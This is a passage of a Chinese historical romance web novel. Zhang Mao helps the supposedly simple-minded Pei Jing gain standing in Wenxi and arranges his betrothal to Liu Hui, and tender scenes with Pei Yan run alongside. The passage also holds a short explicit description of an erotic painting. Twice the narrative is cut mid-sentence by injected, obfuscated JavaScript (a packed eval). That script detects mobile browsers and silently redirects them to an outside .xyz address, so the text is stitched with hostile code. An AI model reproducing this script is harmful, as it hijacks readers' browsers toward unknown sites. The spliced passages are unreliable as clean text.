裴妍又递上一个水囊:“这是阿兄让我给你的,且润润喉。” 里间传来小郭氏的传唤,裴妍只好回去,临进门前,还不忘转头叮嘱他:“办完事赶紧歇歇,别累着了!” 张茂一手握着丝帕,一手抱着水囊,木讷地立在夕阳下,竟是不知该先擦擦自己,还是先喝水?这样呆头鹅的样子可不像以往的他。 定春和容秋在屋外看了全程,容秋胆子大些,憋着笑对张茂道:“二郎回神,再站下去,太阳要下山啦!” 张茂瞪了二女一眼,一边拿帕子拭脸,一边大步流星地抱着水囊出了院门。 一个时辰后,日头渐沉。 小郭氏母女在阴凉的屋里睡过一觉,精神回转了些。底下的部曲也做好了休整,掩埋了横死的同伴,伤员也包扎完毕。 因着夜路难行,张茂、裴池与小郭夫人商量后,大家伙便在王屋村里将就一晚,补充体力,翌日一早再上路。 此间环境简陋,但无论是小郭氏还是裴憬裴妍,都无一声怨言。 因小郭夫人身体不适,要避开午时酷暑,又有伤员在队里,因此诸人行走不快,紧赶慢赶,才在三日后的傍晚,抵达了闻喜。 早在他们进城前,张茂便派了部曲向闻喜的裴家族人报信。 于是钜鹿郡公府的部曲以一当百,勇退千余乞活的事迹很快便传到了闻喜裴氏及周边的豪强耳里。 裴家如今的族长是裴妍的族叔裴卲,封安东将军,乃冀州刺史裴徽之孙。 接到消息时,裴卲着实吓了一跳。他虽有安东将军的虚名,但并未正经上过战场,这么多年只经略一乡教化。当见到浑身是血的部曲持着张茂冒裴憬之名所写的书信来求见自己时,他还以为钜鹿郡公长房一行人都被乞活军杀了呢! 待部曲道明原委,又看过“裴憬”写给他的信,这才知道那支危害乡党、连官府都束手无策的流匪已被这支不足百人的部曲全歼。他不由眼睛一亮,拈起胡须忖度起来。 裴卲老妻柳氏疑惑地问他:“都道钜鹿郡公府的长房长孙痴顽不敏,故而爵位旁落二房,如今看来,传闻有误?” 裴卲摇头,叹道:“弱龄失怙,贤哉愚哉,还不是听凭他人传?爵位一事,其中必有曲折。” 否则长房一家如何好端端的京城不待,跑老家来养病? 这就是阴谋论了。裴卲夫妇理所当然地将击退乞活军的功劳按在了长房唯一的男丁裴憬身上,对这位素未谋面的族侄,竟抱了很大的期待。愣是把这个真痴儿,臆想成了善于守拙、审时度势的麒麟子。 尤其柳氏,眼珠一转,当即怂恿裴卲道:“那裴憬据闻还未订亲?你看我那侄女阿蕙如何?” 裴卲哪里知道夫人娘家的侄女怎样,他拢共也就在家宴上见过那小女郎几回,敷衍道:“阿蕙秀外慧中,谁娶了她都是福气。只是裴憬的婚事,哪里轮到我做主?人家父亲走了,还有叔父,我这个族叔,人微言轻哪!” 柳氏不甘心,辩道:“你是族长,咱们这支才是嫡脉,你说的话,钜鹿郡公能不看重?再者,婚姻父母之命,只要钜鹿郡公府的大夫人点了头,郡公有什么理由不答应?” 裴卲抚须,倒也不是没道理。他们这支乃嫡支裴徽后人,如今声名煊赫的钜鹿郡公裴頠,反而是出身旁支的庶亲。 虽说大家都姓裴,但来往日渐稀少,确实需要新的纽带维系。裴頠如今位高权重,即便他这个裴氏族长,也轻易高攀不得。不过裴頠的侄儿侄女,他倒是可以笼络一二。虽说长房失怙,但到底是裴頠的亲侄,他就是碍于名声,也得好好照应长房不是?如果他能与裴憬扯上姻亲,自己这一脉与钜鹿郡公这支岂不是关系又近了一层? 何况,照今日情形,那个裴憬怕也是个大智若愚之人,将来有大造化也未可知,能把这样的年轻人收拢过来,有益无害。 只是他为人谨慎,裴憬如何,长房郭夫人如何,总要见过考较一番才好说,便对老妻道:“且待人来了,再从长计议吧!” 老夫妻说话,并未刻意屏退自己人。裴卲的幼女裴娴,正巧在母亲的偏房里跟着阿媪学刺绣,把该听的不该听的都听了去。 待到下学,她转身就把自己听到的都说给了自己的表哥兼未婚夫薛翊听。 薛翊出身汾阴薛氏,家中行五,人称薛五郎。汾阴薛氏乃武力强宗,只是早年跟错了主人,追随刘备迁徙蜀地。西蜀灭亡后,才降于曹魏,被安置在汾河以南,黄河以东,用以牵制西北的五胡。 薛家自知自己并非河东土著,因而积极地与河东本土望族裴氏、柳氏联姻。这二族的部曲也多由薛家派人指点操练。 此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001213|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番闻喜城外乞活军流窜,河东裴氏与当地府君束手无策,只好请薛家来帮忙。薛家便派了裴卲未来的女婿薛翊带着百余家将前来助阵。只是还没派上用场,贼人就被张茂带着钜鹿郡公府的部曲给全歼了。 院中青年刚习完枪法,只着一件白麻单衫。汗水浸透薄布,露出里面刚健有力的筋肉来。 柳蕙瞅着脸上一红,逼着自己收回色眯眯的目光,顾左右而言他道:“钜鹿郡公府的大郎居然能以少胜多,全歼匪军,就这还有人说他痴傻?” 薛五郎本静静地坐在石凳上擦着枪尖,听得此言,开口道:“没有亲老子护着,不装傻能怎样?” 裴憬不知道的是,在张茂有意无意地引导之下,他还没入城,就已经在河东三大著姓——裴、柳、薛家人面前留了名。 可怜裴憬这一晚上在驿站打了无数个喷嚏。 一旁侍奉的长河摸摸主人的脑门,疑惑道:“没发烧啊!”大热天的也不像染了风寒,不禁猜疑:“难道是老夫人想咱了?” 裴憬点头,担忧地看向窗外裴妍的房间:“阿妍定也喷得不轻。” ……夜里好不容易凉了下来,这是进闻喜的最后一道驿站,明日西行二十里,就能进城了。 张茂在房里新沐浴过,浑身清爽。他难得放松了些,在诸人安睡后,自己拎了一小壶酒,跳上驿馆旁的老树,横躺在盆口粗的枝干上,就着明月,独饮起来。 月明星稀,越往西走,风沙中的水汽越少,夜空也越澄澈,像极了凉州的夜。凉州的阿母还有大母不知怎样了?自己当初随父兄远走洛阳,离家的时候,他还只有阿母的肩高,后来阿兄成亲,阿母来京城看望他们时,他已经比阿母高了一头。如今,阿母再见到自己,怕是只齐到他的胸口吧? 胸口?他想起白日里,裴妍站在自己面前,也是齐到他的胸口。对了,这元娘的个子长得快,她和阿母的身量已经差不多了呢! “阿茂哥!”一声娇啼打断了张茂的胡思乱想。 阿妍?他凛神回眸,见树下正站着一个披着薄纱披风的小女郎,不是裴妍是谁? 裴妍身后跟着容秋,就见她哭丧着脸解释:“郎君,是女郎非要出来寻你,奴拦不住啊……” 张茂一个眼刀过去,容秋吓得立时噤了声。 张家军法治家,容秋是张家家将的女儿,即便到了裴家,对张茂依然有着下对上的服从与敬畏。这种事要是放在张家,再多辩一句,等待她的就是军棍了! 裴妍却没放在心里,她回身安慰容秋:“这里有阿茂哥在,我还能有危险不成?好容秋,我有些饿,你去帮我煮些燕窝粥来可好?” 这是要把她支走?容秋迟疑地看向张茂。 张茂点了头,容秋这才告退。 身边人一走,裴妍便兴致勃勃地朝树上的张茂伸手:“我也要上来!” 张茂无奈,他把酒壶搁置一边,自己一只手紧紧地抓着树干,另一只手向裴妍伸来。 裴妍自幼便是跳脱的主,爬树算什么? 借着张茂的臂力,她小腿在树干上略蹬一下,便轻松地蹿了上来,与张茂一起,坐在了横长的枝干上。 一时间,天地浩大,只余她和张茂二人,还有头顶的明月,与驿馆旁的夜灯,以及那不正经到处乱吹的夏风。 月光氤氲似霰,从枝丫的缝隙里掉落下来,在地面打下斑驳的阴影。 “真好看!”裴妍远眺着月下的树林赞道。 张茂斜了她一眼,一只手枕在脑后,微微倚向身后的虬枝,看着夜色里闪烁不定的明星,不屑道:“这有什么?有机会带你去我们凉州看看——春天垆头葡萄香,满目梨花飘;夏天绿水绕东畦,浮翠流丹金;秋天垂杨染玉泉,霞光照雪峰,冬天……冬天倒是没什么好说的,就是下大雪,漫天的冰雪,可以给你搭个冰屋。” “啊!美甚!”裴妍由衷地向往起来。 这是她第二次听张茂提起凉州。第一次,是他送她猫眼儿方胜盒的时候。 裴妍发现,每当张茂说起凉州,他的眼里就会绽放出流星一般的光彩。虽然平时,他的眼睛也挺亮的。 她忍不住问他:“阿茂哥一定很想凉州的家吧?” 问一个男子想不想家,本是一件掉面子的事。 月色下,张茂沉默了好一会,这才微不可查地点点头,坦然道:“想家了,也想阿母。” 不管张茂在外人面前多么少年老成,说到底他只是一个未及冠的少年,会孤单,会寂寞,会受伤,会委屈,会……想家。 裴妍同情地看着他,小手不自觉地覆上他骨骼分明的手。 张茂只觉浑身一个机灵,下意识地将手缩了回来,酥麻自手背窸窸窣窣地传遍全身。他差点腰上一软,从树上掉下去。 裴妍却未察觉,她自顾自地低声抚慰他:“我懂。你看,我离开洛阳才两个月,就已经开始想家了,还有大母、阿妡她们。” 想到长房母女遭受的无妄之灾,张茂对裴妍亦升起一股同情。 他强迫自己收起那莫名其妙的心荡,拍怕裴妍的小手,安慰道:“放心,来闻喜只是权宜之计,用不了多久,郡公就会接你们回去的!” 这点裴妍倒没有怀疑。她笑道:“到那时,我还要阿茂哥来接!” 张茂虚点了点她,笑道:“这还用说!” 因着夜里风大,张茂不敢让裴妍出来太久。 二人草草聊了几句,没等容秋把粥煮好,张茂便早早把她送回了屋。 待到容秋端着煮好的燕窝粥,战战兢兢地于张茂的房外询问:“郎君,元娘已经吃了粥睡下了,您要不也用一些?” “你们姊妹吃吧!”张茂隔着门道,他顿了顿,“往后夫人和元娘,劳你们多看顾。” 在容秋的印象里,张茂素来是雷厉风行的主,鲜少这么温柔地同她讲话。一时间,少女脸颊红云浸染,心里跟吃了蜜似的,晕乎乎地把粥端回去找自家阿姊去了。 屋里,张茂斜躺在卧榻上,听雨给他禀事:去闻喜传消息的人回来了,裴族长很震惊。 震惊?这就对了!张茂嘴角噙笑,阿憬总得攒点声望,才好出仕吧! 20. 误把痴儿做英雄,桃花运来姻缘定 钜鹿郡公府声名赫赫,连带着长房这支也鸡犬升天。待他们一行人进城时,城门口早围堵了一群男女老少,想要一睹京城豪门的风采。 张茂进城前,特意叮嘱长河给裴憬换上名士常着的峨冠博带,自己却一身寻常部曲的玄色劲装,远远坠在队伍后面。 城门大开,执勤的兵士拼命拦截疯狂的人群。裴憬在长河、裴池等部曲的簇拥下,骑着高头大马,雄赳赳气昂昂地进了城门。 郭夫人和裴妍的马车边,尽管跟着步障,步障外依然围满了看热闹的行人。 要说,最疯狂的还得是那些妙龄少女。裴憬不到弱冠的年纪,长得唇红齿白,在男人看来未免文弱了些,但在那些没见过多少世面的小城女郎眼里,这就是一身仙气的名士风度啊! 不知谁带的头,裴憬只觉眼前一花,漫天的瓜果鲜花纷纷朝自己砸来。 裴憬只觉脑门一痛,竟有一个碗口大的大桃子直直砸到了他脑门上。 说实话,裴憬长那么大,一直活在两个惊才绝艳的堂弟的阴影里,在京城都是躲着人走,几时见过这等掷果盈车的阵仗?一时间他既害怕又激动,更有些不知所措。 他习惯性地回头找张茂,却见这厮正躲在马车旁边,笑盈盈地看着自己。 裴憬急道:“茂弟,快来帮我!” 张茂却摇摇头,一刀劈开一个不小心砸偏了的木瓜,对裴憬道:“大郎勿慌,她们没有恶意!” 这话算是安抚住了裴憬。他抬起广袖,躲在袖子后面朝前望去,围观的女郎们手里的瓜果鲜花都砸得差不多了,如今正眉眼含春地看着他笑呢! 裴憬立时英雄气上头,也不害怕了,自己一个大男人,怎能在这些小女郎面前露了怯?便又重新挺起胸膛,在裴池和长河的开道下,牵起缰绳,闲庭信步地往前行去。 入城后,早有河东裴氏的家老及部曲仆役等在道边,待人群略微平静后,便上前朝裴憬见礼,把人往裴家族地引。 钜鹿郡公府在闻喜亦有祖宅,离族长裴卲家不远。 裴卲得信后,早早便派人将钜鹿郡公的祖宅收拾停当。 是以小郭氏一行人进了家门后,发现家里处处都收拾一新,只需将京里带来的家用略安置即可。 小郭氏对族长一家甚为感激,翌日便向族长家递了帖子。 裴卲和老妻柳氏热情地接待了这群自京城归来的族人。 虽是家宴,但因小郭氏乃孀妇,不好合席,依旧是男女宾分宴。 女宾席上,柳氏与小郭夫人端坐上首,一个着意拉拢,一个有意亲近,相谈甚欢。 柳氏下首坐着幼女裴娴,与裴妍相对而坐。二人年龄相仿,趁着大人们聊天,她们也在下面说起了悄悄话。 尤其裴娴,对洛阳的风土人情很是追捧,嫌隔那么远说话不便,干脆拎着茶壶坐到了裴妍旁边。 裴妍也毫不吝啬,把自己知道的都说与她听,姊妹俩很快便热络起来。 男宾席上,裴卲端坐上首,左下首是自己的独子——只有七岁的裴阜,还有外侄兼未来的女婿薛翊。右下首是今日的主宾裴憬,张茂作为家臣,依旧陪侍末座。 裴卲自宴席之初便在打量裴憬,发现这孩子虽言语不多,但行止有度,与疯癫痴傻之人有很大不同,对京城传来的流言更持怀疑态度。 当问起剿匪的细节时,因着昨晚张茂特意给裴憬补课,把剿匪的部署统统给他梳理了一遍,因而今日裴憬也算大致地把过程交代了清楚。 裴卲不是武将起家,自听不出其中的疏漏。他对裴憬的回答非常满意,认为这孩子有胆有谋,还是个会藏拙的,再看他面相,忠厚醇正,一看便是仁义之人。这样的后生,与老妻的娘家联姻,再好不过!主意打定,随即开心地又请裴憬多饮几杯。 然而下首的薛翊却皱了眉头,刚才裴憬讲作战过程时,不像自己亲历,倒像是旁观者事后写的卷宗。 他抬眸打量着对座的主仆,目光在同是儒装的裴憬和张茂身上徘徊。 张茂虽长得白白净净的,甘陪末座不发一言,然而他身上却有着抑制不住的杀伐之气。反观裴憬,一身熏香,举止文弱,不像个手上有人命的人。 薛翊特意观察了裴憬的手,柔嫩无力,这样的人能提刀?呵,只怕全歼匪徒的另有其人吧! 张茂敏锐地察觉到对面男子打量的目光。他端起酒樽,朝来人举杯示意。 看破不说破,薛翊尴尬地摸摸鼻子,回敬了一杯。 闻喜的裴家族人主要是嫡支这脉,裴妍所在的这支本是旁支庶亲,与老家的族人已出了三服。然而以钜鹿郡公如今的地位,小郭氏除了族长家需亲自登门外,其他人家只有递帖子求见她的份。 然而,小郭氏毕竟是孀妇,加上身体不大好,自东郊惨案后,更是身心俱疲。是以,自族老家回来后,她便闭门谢客,静心修养。 反倒是裴憬和张茂忙得不轻。 张茂有意为裴憬养望。闻喜不是京城,裴憬痴顽的名声不显,正好给了他展露头角的机会。 他们回来的不巧,正是末伏最热的时候,但闻喜的乡绅自然不会放过巴结钜鹿郡公府的机会。 裴頠远在京城遥不可攀,小郭氏又是深居浅出的孀妇,裴憬作为郡公的亲侄,皇后的表侄,身兼豪门与外戚双重身份,立时成了这群乡党眼里的香饽饽。 于是,平常仲秋之后才会举办的诗会、酒会、茶会,便罕见的在这暮夏的闻喜城里轮番上阵。 裴族长打头,先办了一场隆重的诗会。 说是诗会,其实是召集了裴氏族人、河东柳氏、汾阴薛氏等姻亲的一场家族盛会。 夜半三更,一灯如豆,昏黄的烛火照着裴妍昏昏欲睡的侧颜。再看对面的裴憬,亦哈欠连天。 “啪!” 一声脆响。 “啊!”打哈欠的裴憬立时吓直了腰。 张茂一戒尺打在裴憬身前的案上,冷声道:“大兄再不用功,明日的盛会便要丢丑丢到女郎那里去了!” 裴憬自来了闻喜后,桃花渐盛,光是捡到的香囊绢帕就够装几匣子,引得他心神摇荡。他到底也到了知好色而慕少艾的年纪,谁不想被小女郎们崇拜呢?以前在京城,因为他脑子不好的名声,世家女郎们都躲着他走。如今到了闻喜,他却因祸得福,成了众女郎争抢的香饽饽来,他可不想再变回京城的样子。 “自来佳人配才子,大兄勉哉!”张茂可以算是摸透了裴憬的心思。 裴妍本还想为裴憬说两句好话,却见素来懒散惯了的裴憬跟打了鸡血似的,狠狠拍了拍自己的大脑袋,竟一骨碌坐直身子,聚精会神地温起诗来。 裴妍瞪大双眼,阿兄这是脱胎换骨了? 她爬到张茂身边,好奇地问:“阿茂哥是用了什么法子,让我阿兄这种见书就困的人都肯做学问了?也教教我呗?” 张茂瞥她一眼,摇头::“此法男子用得,女子用不得。” 裴妍歪着头,更疑惑了。 张茂却未多言,直接催她回去睡觉:“明日定是宾客盈门,元娘莫不是想顶着黑眼圈去见人?” 裴妍无法,心不甘情不愿的走了。 待裴妍出去后,裴憬突然自案底抽出一卷彩帛,献殷勤地递给张茂:“茂弟,可否让为兄提神片刻再接着温书?” 张茂疑惑地接过彩帛,见上面并未署名。他莫名其妙地打开一点,只一眼,便脸红心跳、浑身发烫起来——只见这帛上惟妙惟肖地画着一名仰卧在春榻上的妙龄少女!这女子未着寸缕,脸上含春,媚眼迷离,饱满的胸前犹如两只兔臀,且双腿大开,那不可言说的隐密处竟拿工笔描绘得惟妙惟肖! 女子身边,还有一个同样衣裳大敞的男子。男子半跪在榻上,一手托着身下,一手支开女子腿间的那处,正欲行快活事…… 这绢帛竟是一张下笔精致的避火图! 张茂浑身一抖,立时把东西扔回裴憬怀里,恨铁不成钢道:“大兄哪儿来的污秽玩意?赶紧处理了!” 裴憬被他羞得脸上燥红,急道:“也不是我想要的,是顾和缓!有一次我身体不适,他给我把脉,说我是什么存精郁滞,体湿气阻。他还让我阿母给我安排侍妾,但大母不准,说怕走了我阿耶的老路。顾和缓无法,就扔了这个给我,说……说想女人的时候,就自个看看,或能排解一二。” 张茂哑声,不让裴憬纳妾,这事他倒是听说过。据说老夫人怕裴憬像他爹那样搞出庶长子来,更不好招亲。 张茂自己也没有侍妾,这么多年来,也没觉得有什么难以忍受的地方。他有些纳闷地想,莫非有毛病的是自己? 裴憬见张茂没有反应,便试探着问:“那,我看啦?” 张茂无语地瞥他一眼,尴尬地起身:“大兄用功吧,我回房了。”言罢头也不回地走了。 槅门“砰”地一声被关上,徒留裴憬摸不着头脑——茂弟这是生气了?都是男人,不就是看个避火图,至于嘛? 他精精有味地打开来,这图据说是一位大家所绘,里面女子俱是家中婢妾,所行亦是自己亲历,在郎君里很受吹捧。 只是这画家不知何故突然封了笔,世面上所传不多,且千金难得。崇弟和该弟听说他得了一卷,还特意借回去欣赏临摹过哩! 且说张茂回房后,身上依然燥得很。 他跪坐在织席上,自斟自饮了一大杯凉茶,依然觉得口干舌燥,就连席子都是黏哒哒的。 奇了,今夜破天荒的又闷又热! 他的里衣被汗浸得透透的,如米浆般贴在身上,呼吸间尽是灼热窒闷的潮气。 屋角的冰块早化了,槅窗关着,更显闷热。听雨已经睡下了,他只得踱步到窗边,支开绢布窗棱,透气之余,忽见黑漆漆的夜空上,孤月羞答答地躲在阴云后头,光晕氤氲模糊,他不自觉皱眉,莫不是明日有大雨?可是元娘还要去裴族长家赴宴呢! 想到此节,张茂突然愣住。裴元娘的起居自有郭夫人和家老照应,再不济,她身边的容秋也是可靠的。哪里轮到他这个外人来操心? 是啊,裴憬裴崇裴参他们都可以关心裴妍,唯独他不行——他是外人啊! 张茂一瞬间有些心堵,窗边正挂着裴妍送他的玉具剑,哪怕出远门他也一直随身带着,好似成了习惯。 每当他心情烦闷时,便会把这剑拿出来擦拭把玩许久。今夜也不例外。 他斜倚窗口,对着朦胧的月色,抽出剑来。剑身寒光凛凛,剑首镶嵌的猫儿石随烛火明灭不定。 操吴戈兮披犀甲,车错毂兮短兵接。 张茂以剑指月,这样快意疆场的日子,何时能来? 翌日一早,老天果然下起了大雨,真是好日子没好天! 然而郭夫人与裴妍还是盛装出门了——族长家就在隔壁,坐上牛车,沿着巷道行上一段,就到了。 虽说漫天大雨,但族长家今日颇热闹。暮夏本炙热,雨天反而降了点温,同在闻喜的姻亲们,怎会错过巴结小郭氏的机会? 小郭氏与裴憬一样,在京城是无关紧要的存在,无论以前在娘家,还是后来嫁到夫家。她从来没有像在闻喜这样,受人追捧过。 谁人不喜欢被奉承?眼见着诸贵妇皆围着自己转,就连族长夫人都把自己奉作上宾,小郭氏因东郊惨案而被迫离京的阴郁竟消解了一些,只觉闻喜比京城自在。 裴妍也是如此。在京城,大母、母亲、婶婶还有各类婆子都盯着自己,稍干点出格事就要被阿母念叨很久。 可自从来了闻喜,许是小郭氏自己忙于应酬又心情大好的缘故,对她看得也没有那么紧了。 再加上她在闻喜新结识的族妹裴娴亦是个天不怕地不怕的性子,两个小女郎也算是意气相投,认识没几天就感情好得不得了。 这日酒会,郎君们自去竹林中的凉亭饮酒作诗。小女郎们怕热,便窝在凉盈盈的内室里闲聊。 裴娴知道母亲的意思,特意支开其他女郎,把表姊柳蕙着重介绍给裴妍。 柳蕙只比裴娴大两个月,身量高挑丰满,长得虽不若裴妍惊艳,却也清丽可人。且人如其名,性情温雅,谈吐不俗,举手投足间落落大方,一看便是个蕙质兰心的女郎。 柳蕙性情虽不若裴娴跳脱,但很会说话,跟裴妍聊起很多闻喜乃至河东的风物来,讲的莫不新奇有趣,比裴娴懂的都多! 眼见着酒会都要结束了,裴妍还拉着柳蕙不让走。裴娴趁机献策:“这么喜欢我家表姊?何不让你阿兄娶回家给你当嫂子?让她天天说给你听?” 柳蕙脸色燥红,啐了表妹一口,举着团扇遮面而逃。 裴妍却觉得这真是个好主意,一拍手道:“对啊!蕙姐姐人长得漂亮,说话又风趣,若我大兄娶她真是再好不过了!” 裴娴再接再厉:“要不,咱们帮帮他们?” 传说中的拉郎配?裴妍又激动又忐忑!她还没干过这事哩! 另一厢,夫人们那里,族长柳夫人特意把自己的娘家嫂子王氏引荐给小郭氏。 这王氏出身龙门王氏,是河东柳氏的冢妇,且略懂岐黄,见小郭氏脸色白里透黄,说话气虚,便知她有不足之症,与她聊了好些养生之道。 小郭氏颇为受用,加之王氏面相圆润,为人可亲,便对这位夫人很有好感。 临近散场的时候,柳夫人却将小郭夫人拉到静室更衣。她自觉时机已到,便将话头引向儿女。先是吹捧小郭氏的女儿裴妍“年龄虽小,容色倾城”,还特意提起王衍的谶言:“天下绝色,裴氏双姝,元娘璞玉,二娘明珠。裴家女郎,如珠似玉也!” 王衍乃当世名士,他的批语,等同于金科玉律。 小郭氏却警觉起来。闻喜这里裴家已是土皇帝,其他所谓著姓如河东柳氏、汾阴薛氏等,都不过是其附庸,她可不想让自己的宝贝女儿被这帮乡下人惦记,赶紧自谦道:“元娘还小,当不得王司徒缪赞。” 柳氏也不慌,继续捧道:“你就知足吧,元娘乖顺漂亮,大郎文武全才,都是当娘的,我怎么就没你这福气!” 这话说的小郭氏一阵心虚,她这双儿女,也就皮相好些,内里却是空空,和二房的子女比简直天上地下。 柳氏未察,倒是谨慎地看了眼周遭,小声问她:“听东海王妃说,想定元娘做世子妇?” 裴妃是裴族长的堂妹,与柳氏亦相熟。裴妃在娘家从不掩饰自己对裴妍的喜爱,大家都心照不宣地知道裴妃的打算。 此事小郭氏与裴妃有过口头之约,只是毕竟还没有下定,谨慎起见,她不置可否道:“孩子们还小,且再等等吧!” 柳氏摇头道:“元娘是小,可大郎不小了啊?怎么听闻阿憬还没定下人家?” 这话算是把小郭氏难住了。眼见着裴憬就要弱冠了,却连老婆都还没娶上,她心里也急啊! 可是就裴憬在京城的风评,哪个高门大户的嫡女看得上?说不得,又得迎个庶女回来。 这也是她不甘心的地方。嫡庶之分不仅仅是嫁妆多少,更重要的,是嫡女身后有父族和母族两大家族背书,而庶女则只是空有名头的花瓶,什么也指望不上。 她自己就是庶出,其中的无奈她深有体会。 小郭氏长叹:“阿憬的情况,嫂子想必也晓得。” 柳氏是裴家族长,有什么不知道的? 小郭氏自知瞒不过她,索性直截了当道:“京城的女郎眼界高着呢,我家阿憬幼年失怙,爵位又只是个亭侯,读书还不好,高不成低不就的,可不就拖到现在?” “这话我听不来,好女郎不单京城有,弟妹何如在老家寻一个?” 听得这话,小郭氏才会过意来。她抬头看向笑意盈盈的柳氏,想了想,到底有些意动:“我于此间人事不通,烦请阿嫂教我。” 有眉目!柳氏趁机把自家侄女夸了一通,又命人把柳蕙喊来与小郭氏请安。 柳蕙不卑不亢地与郭夫人见礼。小郭氏与她闲谈了几句,觉得这孩子无论仪态还是谈吐,确实温婉大方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001214|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河东柳氏亦是名门,她家的嫡女必然是精心教养的。这不比回京城聘个庶女强?何况,柳家与裴族长家还是姻亲,阿憬若娶了柳氏女,等于与族长家亦攀了亲,将来在家族中,更能多得一份助力。小郭氏也有些动心了。 只是裴憬毕竟是家中长房长孙,他的婚事小郭氏不敢擅专。于是道:“柳家女郎秀外慧中。此事若能成,我们阿憬也算有人托付了。只是此事终得问过家主才好。” 两族联姻乃大事,当然不能随便定下。 柳氏拍着小郭氏的手,笑道:“这是自然。可怜我们做父母的,半生筹谋,都是为孩子劳碌。” 回去的路上,裴妍因喝了些米酒的缘故,一上车就倒在小郭氏膝上,沉沉睡了过去。 小郭氏在车上,琢磨着与柳家联姻的事,越想越上心,便特意把裴憬叫到自己车上。 裴憬战战兢兢地坐到嫡母身边。就听小郭夫人问他:“阿憬,柳家的女郎你可见过?” 裴憬头摇得跟拨浪鼓似的:“儿如何认得别家的女郎?” 小郭氏没指望他认识,只是挑起话头:“我见过她,是个知书达理的女子。吾儿……聘她做新妇可好?” 这话说的没头没尾,裴憬大吃一惊。他今日颇自得,在张茂的帮衬下,他居然勉强在一众士子中得了上品。其实他所作诗文并不出众,只能算中规中矩,但至少没有丢人。加上他以一当十,全歼乞活的威名,与宴的郎君只当他不擅文道,却没人敢往痴傻上想。在裴憬心里,闻喜的人比京城人好相处多了!若能在老家讨到新妇……不比娶那些捧高踩低的京城女子强? “儿全凭阿母做主!”裴憬小声道,脸色羞红,却难掩兴奋。他想,那柳家女郎既然能被阿母看上,想来不会差吧! 小郭氏会意,难得与他好脸色:“既如此,吾儿在闻喜的这几日,更当勤勉!”言下之意,婚事订下前给我装像点,千万别露馅啦! 裴憬不知听没听懂,应得爽快:“阿母宽心,儿定好好用功。” 张茂默默地跟在牛车旁,听得母子俩的交谈,嘴角微微咧开一抹笑容,阿兄终于要有新妇了,以后就不用对着去火图胡思乱想了吧?阿妍明日醒酒后,若得知这消息,会不会开心得跳起来? 他转头看向牛车,纱窗紧闭,不见车中人模样,他的眼神渐渐转暗,可惜,过不了几日,他们就要启程返京了。 闻喜民风质朴,即便豪门间的勾心斗角也不及京城多。张茂和裴憬一样,真舍不得走哩! 张茂陪裴憬在闻喜多盘桓了十日。 其间裴憬与柳家女郎相处甚欢——裴憬反应慢,话也不多,但因着自小和妹妹一处长大,对女子格外地温柔有耐心。 这落在柳蕙眼里,对他自然多了一层好感。 加之小郭氏快马加鞭寄回去的信到了,郭老夫人也很看好河东柳氏的女郎,把裴憬的婚事全权交由小郭氏做主。 在裴、柳俩家有意撮合下,裴憬和柳蕙可谓进展神速。待裴憬依依不舍地返程时,俩家长辈已经下了小定。 裴憬回京时可谓志得意满——在闻喜的这段日子可以说是他十八年来最快活的时候! 反而张茂有些气郁。原来裴憬和柳蕙订下亲事后,小郭氏特地召来张茂,除了叮嘱他多照拂裴憬,还特意问起他的婚事。大有给他父亲去信,帮他也在闻喜寻门亲事的意思。 吓得张茂以他阿耶叮嘱过,需得先立业后成家为由,慌乱地搪塞了过去。 离开闻喜的那日,天气骤寒,凉风习习,秋雨连绵。 裴憬缩着脖子与前来送他的友人话别。 张茂牵着马,静静地立在裴憬身后,看着他与郎君们交游。 裴憬在闻喜的半个月里,新结识了不少豪强子弟,前来送别的人不少。 张茂看了一圈喧嚷的人群,凉亭内挤满了前来送别的人。只是多为郎君,除了柳蕙和另一个陌生的女子外,并无其他女郎。 也是,裴憬与柳家女小定的事已经传遍了闻喜,其他女郎即便不服气,也不会选在这个时候露脸。 待郎君们饮了饯别酒,柳蕙这才捧着柳条上前,在诸人的戏谑中,与裴憬作别。 与裴憬讲完两句后,柳蕙特意回身,把躲在自己身后的女子拉到张茂面前,意味深长地对他道:“张小郎,这是妾的堂妹。此前在姑姑家你们见过的。” 张茂这才正眼看向那名女子。这女郎与自己一般大小,身量不高,面容姣好,性子却不似柳蕙那般落落大方,被柳蕙拉上前后,有些含羞带怯地对他行礼。 张茂回礼,心道,莫非小郭夫人前番试探是柳家授意?他心里越发阴沉。河东柳氏也是名门望族,自己若能与之联姻,说起来,还是他们安定张氏高攀了。 然而,这份在外人眼里不可多得的“良缘”,却令张茂烦闷不已——他自己也纳闷,他不过是一介清客,能被柳家如此看重,不是应当欣喜吗?为何自己却半分也高兴不起来? 直到,身后传来一声熟悉的叫唤:“大兄,阿茂哥!” 诸人回头,只见凉亭外,秋风萧瑟,落叶回旋,漫天风尘中,一位着鹅黄披风的少女翩然跳下牛车。 尽管有白纱幂离覆面,尽管裴妍还未长成,但秋风拂过处,诸郎君还是在幂离的缝隙里隐约欣赏到一丝初绽的惊艳。 郎君里立即传来窃窃私语,隐约可听见“王尚书谶言”“天下绝色”“如珠似玉”等字眼。 张茂皱眉,绕过柳家女郎,上前将裴妍拉至身前,用自己瘦高的个子挡住后面诸郎君探究的目光。 裴憬问她:“不是说不让你来么?” 小郭夫人自前日起便身体不好,身边离不了人。 “阿母睡了,侍疾的医女说少不得半日才醒,我便想着来送送你们。” 